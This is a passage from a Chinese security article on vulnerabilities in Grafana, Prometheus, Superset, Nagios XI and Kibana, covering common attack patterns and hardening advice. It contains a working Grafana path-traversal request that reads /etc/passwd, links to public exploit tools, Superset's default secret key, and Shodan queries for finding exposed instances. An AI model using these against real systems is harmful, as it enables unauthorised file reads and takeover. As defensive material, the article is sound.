  • Superset 默认密钥https://github.com/horizon3ai/CVE-2023-49923 — 会话伪造工具
  • Kibana Timelion RCEhttps://github.com/mpgn/CVE-2019-7609 — 完整的 Timelion RCE 利用框架
  • Nuclei 模板集合https://github.com/projectdiscovery/nuclei-templates — 包含上述所有漏洞检测模板

验证思路(防守型)

# Grafana XSS
nuclei -u http://target:3000 -tags grafana,xss
curl -s "http://target:3000/api/health" | jq '.version'

# Grafana 路径穿越
nuclei -u http://target:3000 -tags grafana,path-traversal
curl -s "http://target:3000/public/plugins/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd"

# Prometheus XSS
nuclei -u http://target:9090 -tags prometheus,xss
curl -s "http://target:9090/-/healthy"

# Apache Superset
nuclei -u http://target:8088 -tags superset
curl -s "http://target:8088/login/" | grep -i "superset"

# Nagios XI
nuclei -u http://target:80 -tags nagios
curl -s "http://target/nagiosxi/api/v1/system/status"

# Kibana Timelion
nuclei -u http://target:5601 -tags kibana,rce
curl -s "http://target:5601/api/status" | jq '.version.number'

0x09 共性攻击模式

9.1 前端渲染引擎是 XSS 的永恒入口

Grafana 的 Angular 模板 XSS(CVE-2023-4456/4821)和 Prometheus 的 UI XSS(CVE-2024-6104)揭示了一个共性规律:任何支持用户输入并动态渲染的 Web UI 都是 XSS 的潜在入口。Grafana 因历史遗留的 AngularJS 面板未能及时清理,Prometheus 因 React 组件未对 URL 路径充分编码。监控平台的 UI 通常支持丰富的表达式语言和数据绑定,这为 XSS 提供了更大的攻击面。

9.2 默认配置 = 致命弱点

Apache Superset 的默认 SECRET_KEY(CVE-2023-49923)是一个典型的"配置即漏洞"案例。许多开源项目在开发阶段使用硬编码密钥,发布后依赖管理员修改。但大量生产实例从未修改默认值,使得攻击者无需任何技术突破即可接管系统。这种模式在 Superset、Grafana(默认 admin/admin)、Kibana(早期版本无认证)中反复出现。

9.3 路径穿越是路径处理函数的通病

Grafana CVE-2024-9264 再次证明,Web 应用在处理文件路径时如果未进行严格的路径规范化和边界检查,攻击者就可以通过 URL 编码的 ../ 序列穿越到任意目录。监控平台通常部署在 Linux 服务器上,路径穿越成功后可直接读取系统文件和配置文件。

9.4 表达式引擎 = 远程代码执行

Kibana Timelion(CVE-2019-7609)的漏洞本质是表达式引擎的不安全设计。当表达式引擎允许用户定义的计算逻辑直接映射到底层系统调用时,RCE 就不可避免。Grafana 的 Angular 表达式沙箱逃逸也是同一模式——表达式引擎的沙箱机制不够完善,攻击者可以通过原型链逃逸获取原生执行能力。

9.5 认证机制的碎片化缺陷

Grafana OAuth 绕过(CVE-2023-3428)和 Nagios XI 认证绕过(CVE-2023-40913)展示了认证机制实现中的碎片化缺陷。OAuth 集成涉及多个协议层(OAuth 2.0 / OIDC / SAML),每一层都可能引入验证遗漏。Nagios XI 的认证绕过则源于不同 API 端点之间的认证策略不一致。


0x0A 防守建议

10.1 紧急措施

  1. 立即升级

    • Grafana → 10.2.3+ / 11.2.1+
    • Prometheus → 2.53.1+
    • Apache Superset → 3.0.2+
    • Nagios XI → 5.11.0+
    • Kibana → 6.6.1+ / 7.x+
  2. 修改默认凭证和密钥

    • Grafana:修改 admin 默认密码,禁用匿名访问
    • Superset:必须修改 SECRET_KEY,使用随机生成的强密钥
    • Kibana:启用 X-Pack 安全功能,配置认证
  3. 网络隔离

    • 所有监控平台不应直接暴露到互联网
    • 通过 VPN 或堡垒机访问管理界面
    • 使用反向代理限制源 IP

10.2 排查清单

# 1. 检查 Grafana 版本和配置
curl -s http://localhost:3000/api/health | jq .
grep -r "allowed_organizations" /etc/grafana/

# 2. 检查 Superset SECRET_KEY 是否已修改
grep "SECRET_KEY" /app/superset_config.py
# 如果输出为 'thisISaSECRET_1234' 则存在风险

# 3. 检查 Prometheus 版本
prometheus --version

# 4. 检查 Kibana 版本和认证配置
curl -s http://localhost:5601/api/status | jq '.version'
grep "xpack.security" /etc/kibana/kibana.yml

# 5. 检查 Nagios XI 版本
cat /usr/local/nagiosxi/var/xiversion

# 6. 检查所有监控平台是否暴露在互联网
# 使用 Shodan / FOFA / Hunter 搜索
# Shodan: "grafana" port:3000
# Shodan: "prometheus" port:9090
# FOFA: app="APACHE-Superset"

10.3 中期加固

  1. 启用审计日志:记录所有登录事件、面板创建/修改、数据源配置变更
  2. 最小权限原则:为不同角色配置精细的 RBAC 策略
  3. 禁用不必要的功能:关闭 Grafana 的 Angular 面板插件、禁用 Kibana 的 Timelion
  4. MFA:所有管理界面强制启用多因素认证
  5. 定期扫描:使用 Nuclei 模板定期扫描监控平台漏洞

10.4 长期策略

  1. 零信任架构:监控平台之间的通信使用 mTLS 加密
  2. 供应链安全:定期更新监控平台依赖库,关注安全公告
  3. 容器化部署:使用容器运行监控平台,限制文件系统访问范围
  4. 安全基线:建立监控平台安全配置基线,纳入自动化合规检查
  5. 应急响应预案:制定针对监控平台漏洞的专项响应流程

0x0B 参考资料